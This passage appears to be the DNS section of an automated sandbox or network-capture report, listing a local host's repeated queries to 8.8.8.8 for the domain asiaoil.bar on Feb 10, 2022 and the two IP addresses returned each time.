Feb 10, 2022 10:22:46.679800987 CET	192.168.2.22	8.8.8.8	0x24d3	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:47.694005966 CET	192.168.2.22	8.8.8.8	0x664b	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:48.794428110 CET	192.168.2.22	8.8.8.8	0xc7a4	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:49.859730005 CET	192.168.2.22	8.8.8.8	0x3468	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:51.002474070 CET	192.168.2.22	8.8.8.8	0xfa95	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:52.024955988 CET	192.168.2.22	8.8.8.8	0xd853	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:53.105232000 CET	192.168.2.22	8.8.8.8	0xc5be	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:54.168021917 CET	192.168.2.22	8.8.8.8	0x412a	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:55.185018063 CET	192.168.2.22	8.8.8.8	0x6266	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:56.195903063 CET	192.168.2.22	8.8.8.8	0xfd14	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:57.314579964 CET	192.168.2.22	8.8.8.8	0x8b69	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:58.398493052 CET	192.168.2.22	8.8.8.8	0xe59e	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:59.502744913 CET	192.168.2.22	8.8.8.8	0x3e6	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:00.513632059 CET	192.168.2.22	8.8.8.8	0x37b5	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:01.576647043 CET	192.168.2.22	8.8.8.8	0x92dc	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:02.585699081 CET	192.168.2.22	8.8.8.8	0xdcc3	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:03.632282972 CET	192.168.2.22	8.8.8.8	0x5c5a	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:04.624403954 CET	192.168.2.22	8.8.8.8	0x314d	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:05.917184114 CET	192.168.2.22	8.8.8.8	0x18f	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:08.555697918 CET	192.168.2.22	8.8.8.8	0xb372	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:09.629110098 CET	192.168.2.22	8.8.8.8	0x7447	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:10.670913935 CET	192.168.2.22	8.8.8.8	0xebcf	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:11.707644939 CET	192.168.2.22	8.8.8.8	0x56b2	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:12.786386967 CET	192.168.2.22	8.8.8.8	0x8d8d	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:13.874433041 CET	192.168.2.22	8.8.8.8	0xdd5a	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:14.890866041 CET	192.168.2.22	8.8.8.8	0xca3f	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:16.130302906 CET	192.168.2.22	8.8.8.8	0xe624	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:17.382666111 CET	192.168.2.22	8.8.8.8	0xc2e1	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:18.736026049 CET	192.168.2.22	8.8.8.8	0xb066	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:19.799702883 CET	192.168.2.22	8.8.8.8	0x3e8a	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:20.931313992 CET	192.168.2.22	8.8.8.8	0x38cf	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:22.033031940 CET	192.168.2.22	8.8.8.8	0x3dc9	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:23.098339081 CET	192.168.2.22	8.8.8.8	0x38ab	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:25.154160023 CET	192.168.2.22	8.8.8.8	0xead	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:26.716438055 CET	192.168.2.22	8.8.8.8	0xf593	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:27.763015032 CET	192.168.2.22	8.8.8.8	0x32ee	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:28.759797096 CET	192.168.2.22	8.8.8.8	0x4a27	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:29.753248930 CET	192.168.2.22	8.8.8.8	0x7d68	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:30.760308981 CET	192.168.2.22	8.8.8.8	0x9f6e	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:31.802032948 CET	192.168.2.22	8.8.8.8	0x3040	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:32.823729992 CET	192.168.2.22	8.8.8.8	0xd8f9	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Feb 10, 2022 10:21:59.679673910 CET	8.8.8.8	192.168.2.22	0x9747	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:21:59.679673910 CET	8.8.8.8	192.168.2.22	0x9747	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:02.820064068 CET	8.8.8.8	192.168.2.22	0x71f	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:02.820064068 CET	8.8.8.8	192.168.2.22	0x71f	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:03.806817055 CET	8.8.8.8	192.168.2.22	0xa539	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:03.806817055 CET	8.8.8.8	192.168.2.22	0xa539	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:04.893670082 CET	8.8.8.8	192.168.2.22	0xa7ce	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:04.893670082 CET	8.8.8.8	192.168.2.22	0xa7ce	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:05.933922052 CET	8.8.8.8	192.168.2.22	0xe425	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:05.933922052 CET	8.8.8.8	192.168.2.22	0xe425	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:06.985570908 CET	8.8.8.8	192.168.2.22	0x51a3	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:06.985570908 CET	8.8.8.8	192.168.2.22	0x51a3	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:08.106977940 CET	8.8.8.8	192.168.2.22	0x49f3	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:08.106977940 CET	8.8.8.8	192.168.2.22	0x49f3	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:09.252610922 CET	8.8.8.8	192.168.2.22	0x2021	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:09.252610922 CET	8.8.8.8	192.168.2.22	0x2021	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:10.394609928 CET	8.8.8.8	192.168.2.22	0xe478	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:10.394609928 CET	8.8.8.8	192.168.2.22	0xe478	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:11.461467028 CET	8.8.8.8	192.168.2.22	0xd27f	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:11.461467028 CET	8.8.8.8	192.168.2.22	0xd27f	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:12.531579971 CET	8.8.8.8	192.168.2.22	0xa6ad	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:12.531579971 CET	8.8.8.8	192.168.2.22	0xa6ad	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:13.606112957 CET	8.8.8.8	192.168.2.22	0x1d7b	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:13.606112957 CET	8.8.8.8	192.168.2.22	0x1d7b	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:14.763432026 CET	8.8.8.8	192.168.2.22	0xc406	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:14.763432026 CET	8.8.8.8	192.168.2.22	0xc406	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:15.859421015 CET	8.8.8.8	192.168.2.22	0x45dc	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:15.859421015 CET	8.8.8.8	192.168.2.22	0x45dc	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:17.201698065 CET	8.8.8.8	192.168.2.22	0xb6dc	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:17.201698065 CET	8.8.8.8	192.168.2.22	0xb6dc	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:18.564426899 CET	8.8.8.8	192.168.2.22	0xbbf0	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:18.564426899 CET	8.8.8.8	192.168.2.22	0xbbf0	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:20.282020092 CET	8.8.8.8	192.168.2.22	0x795e	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:20.282020092 CET	8.8.8.8	192.168.2.22	0x795e	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:21.349742889 CET	8.8.8.8	192.168.2.22	0xeeeb	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:21.349742889 CET	8.8.8.8	192.168.2.22	0xeeeb	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:22.469295979 CET	8.8.8.8	192.168.2.22	0xe527	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:22.469295979 CET	8.8.8.8	192.168.2.22	0xe527	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:23.484388113 CET	8.8.8.8	192.168.2.22	0xfad8	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:23.484388113 CET	8.8.8.8	192.168.2.22	0xfad8	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:24.567791939 CET	8.8.8.8	192.168.2.22	0xc89c	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:24.567791939 CET	8.8.8.8	192.168.2.22	0xc89c	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:25.572346926 CET	8.8.8.8	192.168.2.22	0xe031	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:25.572346926 CET	8.8.8.8	192.168.2.22	0xe031	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:26.651072025 CET	8.8.8.8	192.168.2.22	0x61b1	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:26.651072025 CET	8.8.8.8	192.168.2.22	0x61b1	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:27.667135954 CET	8.8.8.8	192.168.2.22	0xe5e0	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:27.667135954 CET	8.8.8.8	192.168.2.22	0xe5e0	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:29.064960003 CET	8.8.8.8	192.168.2.22	0x1048	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:29.064960003 CET	8.8.8.8	192.168.2.22	0x1048	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:30.776675940 CET	8.8.8.8	192.168.2.22	0x5557	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:30.776675940 CET	8.8.8.8	192.168.2.22	0x5557	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:31.858690977 CET	8.8.8.8	192.168.2.22	0x74ef	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:31.858690977 CET	8.8.8.8	192.168.2.22	0x74ef	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:32.930648088 CET	8.8.8.8	192.168.2.22	0x14c8	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:32.930648088 CET	8.8.8.8	192.168.2.22	0x14c8	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:33.985292912 CET	8.8.8.8	192.168.2.22	0x860f	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:33.985292912 CET	8.8.8.8	192.168.2.22	0x860f	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:35.035057068 CET	8.8.8.8	192.168.2.22	0xfea3	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:35.035057068 CET	8.8.8.8	192.168.2.22	0xfea3	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:36.052189112 CET	8.8.8.8	192.168.2.22	0x2516	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:36.052189112 CET	8.8.8.8	192.168.2.22	0x2516	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:37.097563982 CET	8.8.8.8	192.168.2.22	0xff8a	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:37.097563982 CET	8.8.8.8	192.168.2.22	0xff8a	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:38.148770094 CET	8.8.8.8	192.168.2.22	0x7ac5	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:38.148770094 CET	8.8.8.8	192.168.2.22	0x7ac5	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:39.203105927 CET	8.8.8.8	192.168.2.22	0xb649	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:39.203105927 CET	8.8.8.8	192.168.2.22	0xb649	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:40.399499893 CET	8.8.8.8	192.168.2.22	0x55b7	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:40.399499893 CET	8.8.8.8	192.168.2.22	0x55b7	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:41.416198015 CET	8.8.8.8	192.168.2.22	0x9913	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:41.416198015 CET	8.8.8.8	192.168.2.22	0x9913	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:42.509901047 CET	8.8.8.8	192.168.2.22	0xd5cf	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:42.509901047 CET	8.8.8.8	192.168.2.22	0xd5cf	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:43.524178982 CET	8.8.8.8	192.168.2.22	0xe474	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:43.524178982 CET	8.8.8.8	192.168.2.22	0xe474	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:44.563961983 CET	8.8.8.8	192.168.2.22	0xd627	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:44.563961983 CET	8.8.8.8	192.168.2.22	0xd627	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:45.620157957 CET	8.8.8.8	192.168.2.22	0xffb2	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:45.620157957 CET	8.8.8.8	192.168.2.22	0xffb2	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:46.698565960 CET	8.8.8.8	192.168.2.22	0x24d3	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:46.698565960 CET	8.8.8.8	192.168.2.22	0x24d3	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:47.712665081 CET	8.8.8.8	192.168.2.22	0x664b	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:47.712665081 CET	8.8.8.8	192.168.2.22	0x664b	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:48.813474894 CET	8.8.8.8	192.168.2.22	0xc7a4	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:48.813474894 CET	8.8.8.8	192.168.2.22	0xc7a4	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:49.878983974 CET	8.8.8.8	192.168.2.22	0x3468	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:49.878983974 CET	8.8.8.8	192.168.2.22	0x3468	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:51.019309044 CET	8.8.8.8	192.168.2.22	0xfa95	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:51.019309044 CET	8.8.8.8	192.168.2.22	0xfa95	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:52.041841030 CET	8.8.8.8	192.168.2.22	0xd853	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:52.041841030 CET	8.8.8.8	192.168.2.22	0xd853	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:53.123905897 CET	8.8.8.8	192.168.2.22	0xc5be	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:53.123905897 CET	8.8.8.8	192.168.2.22	0xc5be	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:54.186261892 CET	8.8.8.8	192.168.2.22	0x412a	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:54.186261892 CET	8.8.8.8	192.168.2.22	0x412a	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:55.202280998 CET	8.8.8.8	192.168.2.22	0x6266	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:55.202280998 CET	8.8.8.8	192.168.2.22	0x6266	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:56.214804888 CET	8.8.8.8	192.168.2.22	0xfd14	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:56.214804888 CET	8.8.8.8	192.168.2.22	0xfd14	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:57.333787918 CET	8.8.8.8	192.168.2.22	0x8b69	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:57.333787918 CET	8.8.8.8	192.168.2.22	0x8b69	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:58.417352915 CET	8.8.8.8	192.168.2.22	0xe59e	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:58.417352915 CET	8.8.8.8	192.168.2.22	0xe59e	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:59.519994974 CET	8.8.8.8	192.168.2.22	0x3e6	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:59.519994974 CET	8.8.8.8	192.168.2.22	0x3e6	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:00.533606052 CET	8.8.8.8	192.168.2.22	0x37b5	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:00.533606052 CET	8.8.8.8	192.168.2.22	0x37b5	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:01.595443010 CET	8.8.8.8	192.168.2.22	0x92dc	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:01.595443010 CET	8.8.8.8	192.168.2.22	0x92dc	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:02.604903936 CET	8.8.8.8	192.168.2.22	0xdcc3	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:02.604903936 CET	8.8.8.8	192.168.2.22	0xdcc3	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:03.649529934 CET	8.8.8.8	192.168.2.22	0x5c5a	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:03.649529934 CET	8.8.8.8	192.168.2.22	0x5c5a	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:04.640897036 CET	8.8.8.8	192.168.2.22	0x314d	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:04.640897036 CET	8.8.8.8	192.168.2.22	0x314d	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:05.934077978 CET	8.8.8.8	192.168.2.22	0x18f	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:05.934077978 CET	8.8.8.8	192.168.2.22	0x18f	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:08.573890924 CET	8.8.8.8	192.168.2.22	0xb372	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:08.573890924 CET	8.8.8.8	192.168.2.22	0xb372	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:09.647778988 CET	8.8.8.8	192.168.2.22	0x7447	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:09.647778988 CET	8.8.8.8	192.168.2.22	0x7447	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:10.689938068 CET	8.8.8.8	192.168.2.22	0xebcf	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:10.689938068 CET	8.8.8.8	192.168.2.22	0xebcf	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:11.726572037 CET	8.8.8.8	192.168.2.22	0x56b2	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:11.726572037 CET	8.8.8.8	192.168.2.22	0x56b2	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:12.805661917 CET	8.8.8.8	192.168.2.22	0x8d8d	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:12.805661917 CET	8.8.8.8	192.168.2.22	0x8d8d	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:13.894022942 CET	8.8.8.8	192.168.2.22	0xdd5a	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:13.894022942 CET	8.8.8.8	192.168.2.22	0xdd5a	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:14.907351017 CET	8.8.8.8	192.168.2.22	0xca3f	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:14.907351017 CET	8.8.8.8	192.168.2.22	0xca3f	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:16.148524046 CET	8.8.8.8	192.168.2.22	0xe624	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:16.148524046 CET	8.8.8.8	192.168.2.22	0xe624	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:17.401235104 CET	8.8.8.8	192.168.2.22	0xc2e1	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:17.401235104 CET	8.8.8.8	192.168.2.22	0xc2e1	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:18.763688087 CET	8.8.8.8	192.168.2.22	0xb066	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:18.763688087 CET	8.8.8.8	192.168.2.22	0xb066	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:19.818831921 CET	8.8.8.8	192.168.2.22	0x3e8a	No error (0)	asiaoil.bar	172.67.197.66	A (IP address)	IN (0x0001)
Feb 10, 2022 10:23:19.818831921 CET	8.8.8.8	192.168.2.22	0x3e8a	No error (0)	asiaoil.bar	104.21.49.244	A (IP address)	IN (0x0001)
